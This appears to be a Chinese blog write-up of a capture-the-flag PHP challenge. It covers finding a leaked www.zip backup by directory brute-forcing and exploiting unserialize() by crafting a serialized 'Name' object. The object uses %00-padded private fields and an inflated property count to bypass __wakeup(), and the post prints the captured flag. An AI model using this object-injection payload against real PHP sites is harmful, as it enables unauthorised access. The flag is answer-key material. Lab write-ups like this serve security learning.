[极客大挑战 2019]PHP 1
[极客大挑战 2019]PHP 1
打开文件发现提示信息“备份文件”,查看源码并未发现其他有效信息

采用dirsearch爆破目录,找到www.zip文件

解压zip,发现是源码泄露

提交flag,发现不正确,看到index.php源码中有Get传参,然后反序列化函数unserialize(),判断为反序列化漏洞;

查看class.php可知,只要username=admin并且password=100,就能输出flag

于是构造反序列化payload
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
执行php方法序列化成字符串,Name前后需要添加%00
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

作为select参数值,未能显示出flag

这是因为成员属性数目大于实际数目2时才可绕过wakeup魔术方法,修改2为任意大于二的数字
O:4:"Name":666:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

成功拿到flag
flag{2629c697-31da-4735-8e1f-978a34067a82}
tips.
unserialize();
方法解释:
从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话);
本文来自博客园,作者:TazmiDev,转载请注明原文链接:https://www.cnblogs.com/tazmi/p/18535690

浙公网安备 33010602011771号